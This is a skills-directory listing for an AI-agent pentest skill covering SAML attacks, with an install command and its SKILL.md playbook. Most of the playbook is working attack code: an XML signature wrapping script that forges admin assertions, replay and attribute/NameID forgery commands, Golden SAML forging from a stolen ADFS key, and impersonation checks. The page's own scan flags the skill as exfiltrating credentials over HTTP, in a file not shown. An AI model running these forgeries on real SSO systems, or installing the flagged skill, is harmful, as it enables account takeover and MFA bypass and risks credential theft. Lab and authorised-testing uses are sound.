Skip to content
Back to skills

Khaos Chain Saml Attack

BSecurity

SAML attacks — XML signature wrapping, replay attack, attribute forgery, Golden SAML (ADFS), response hijacking

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythonrustgobashgitapisecurity

Works with

  • api

Security analysis

B88/100
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study

Pro scans all 2 files and shows the line behind each finding

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-saml-attack --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Chain Saml Attack?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Chain Saml Attack
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-chain-saml-attack-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-saml-attack-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-chain-saml-attack
description: SAML attacks — XML signature wrapping, replay attack, attribute forgery, Golden SAML (ADFS), response hijacking
metadata:
  khaos:
    stages: [exploitation, validation]
    tool_ids: [httpx]
---

# SAML Attack Chain

SAML (Security Assertion Markup Language) is used for SSO between Identity Providers (IdP) and Service Providers (SP). Attacks exploit XML signature properties, timing, and trust relationships.

## Phase 1: Discover SAML endpoints and flow

```bash
# Identify SAML endpoints:
# SP-initiated flow: SP redirects to IdP with SAMLRequest
# IdP-initiated flow: IdP sends SAMLResponse directly to SP

# Find SAML metadata:
for path in /saml/metadata /auth/saml/metadata /sso/saml/metadata /saml2/metadata; do
  curl -s -o /dev/null -w "%{http_code} $path\n" "https://target$path"
done

# Capture SAML flow in Burp — look for:
# 1. SAMLRequest (Base64+deflate) in redirect or POST
# 2. SAMLResponse (Base64) in POST to SP's ACS (Assertion Consumer Service) URL

# Decode a SAMLResponse:
echo "BASE64_RESPONSE" | base64 -d | python3 -c "import sys,zlib; print(zlib.decompress(sys.stdin.buffer.read(),-15).decode())" 2>/dev/null || \
echo "BASE64_RESPONSE" | base64 -d
```

---

## Phase 2: Attack A — XML Signature Wrapping (XSW)

XSW moves the signed element out of the validation path while keeping the signature valid. The SP validates the signature on the original element but processes the attacker-injected element.

```python
#!/usr/bin/env python3
"""XSW attack: clone SAMLResponse, inject forged assertion with admin role."""
import base64, copy
from lxml import etree

def xsw_attack(saml_b64: str, target_uid: str = "admin") -> str:
    xml = base64.b64decode(saml_b64)
    root = etree.fromstring(xml)
    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
        'ds': 'http://www.w3.org/2000/09/xmldsig#',
    }
    # Find original signed assertion and signature
    assertion = root.find('.//saml:Assertion', ns)
    signature = root.find('.//ds:Signature', ns)
    if assertion is None or signature is None:
        return None

    # XSW7: clone response, move real assertion under Extensions,
    # inject forged assertion at top level
    forged = copy.deepcopy(assertion)
    name_id = forged.find('.//saml:NameID', ns)
    if name_id is not None:
        name_id.text = target_uid
    attrs = forged.findall('.//saml:AttributeValue', ns)
    for a in attrs:
        if 'role' in (a.text or '').lower() or 'group' in (a.text or '').lower():
            a.text = 'admin'

    # Insert forged assertion before the real one
    response_children = list(root)
    idx = response_children.index(assertion)
    root.insert(idx, forged)

    return base64.b64encode(etree.tostring(root)).decode()

# Test:
# xsw_b64 = xsw_attack("ORIGINAL_SAML_RESPONSE_B64", "admin@target.com")
# POST to ACS endpoint with RelayState + SAMLResponse=xsw_b64
```

---

## Phase 3: Attack B — SAML Replay

```bash
# If SAML assertions lack NotOnOrAfter or SP doesn't check it:
# Capture a valid SAMLResponse in Burp
# Wait until after the session expires
# Replay the same SAMLResponse to the ACS endpoint

curl -X POST "https://target/sso/acs" \
  -d "SAMLResponse=CAPTURED_BASE64&RelayState=CAPTURED_RELAY_STATE"

# Check for replay acceptance:
# 200 or redirect to app = vulnerable
# 400 "assertion already consumed" = replay protection in place
```

---

## Phase 4: Attack C — Attribute Forgery (unsigned attributes)

```bash
# If attributes in the assertion are not signed (only the assertion root is):
# Modify role/group attributes in the assertion body

python3 << 'EOF'
import base64, re

saml = base64.b64decode("CAPTURED_SAML_B64").decode()

# Replace role attribute value:
saml_modified = re.sub(
    r'(<saml:AttributeValue[^>]*>)[^<]*(</saml:AttributeValue>)',
    r'\1admin\2',
    saml,
    count=1
)

# Replace NameID (user identity):
saml_modified = re.sub(
    r'(<saml:NameID[^>]*>)[^<]*(</saml:NameID>)',
    r'\1admin@target.com\2',
    saml_modified,
    count=1
)

print(base64.b64encode(saml_modified.encode()).decode())
EOF
```

---

## Phase 5: Attack D — Golden SAML (ADFS token forgery)

```bash
# If ADFS private key (token signing certificate) is obtained from:
# - AD CS (ADCS ESC scenario)
# - Domain controller backup
# - DPAPI looting

# Golden SAML with shimit (or ADFSDump):
# Requires: IdP private key + certificate + target SP EntityID

# Using shimit (https://github.com/secureworks/whiskeysamlandfriends):
python3 shimit.py \
  --idp https://adfs.target.com/adfs/services/trust \
  --sp "urn:target:sp:saml" \
  --nameid "admin@target.com" \
  --role "Global Administrators" \
  --key adfs_token_signing.key \
  --cert adfs_token_signing.crt \
  --out golden_saml.xml

# Submit golden SAML to SP's ACS endpoint
# This bypasses MFA entirely — the signed assertion IS the proof of identity
```

---

## Phase 6: Confirm SP identity context

```bash
# After successful XSW/replay/forgery:
# Hit an authenticated endpoint to confirm impersonation:
curl -s -b "session=RETURNED_SESSION_COOKIE" "https://target/api/me"

# Should return victim's (or admin's) user info
# Record: user ID, roles, email in the finding
```

---

## ⛔ Prohibition table

| Prohibited | Alternative |
|---|---|
| Forging admin assertions against production IdP with real accounts | Use test SP + test IdP in lab; record forgery capability only |
| Storing captured SAML assertions (contain session context) | Note that replay is possible; delete captured data |
| Golden SAML requires ADFS private key — only proceed with explicit scope | Confirm key access; do not forge against prod SSO |
| XSW against production — may create audit noise | Confirm in staging; note PoC readiness |

## ✓ Completion self-check

- [ ] SAML flow captured (SAMLRequest + SAMLResponse decoded)
- [ ] Assertion signing scope identified (what is signed vs unsigned)
- [ ] At least one attack variant attempted (XSW/replay/forgery)
- [ ] Impersonation confirmed (API endpoint returns attacker-chosen identity)
- [ ] NotOnOrAfter and InResponseTo checked (replay window)
- [ ] Finding: CWE-347 (Improper Verification of Cryptographic Signature) — CRITICAL

Files in this skill

  • SKILL.md6.1 KB
  • scripts/xsw_inject.py2.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.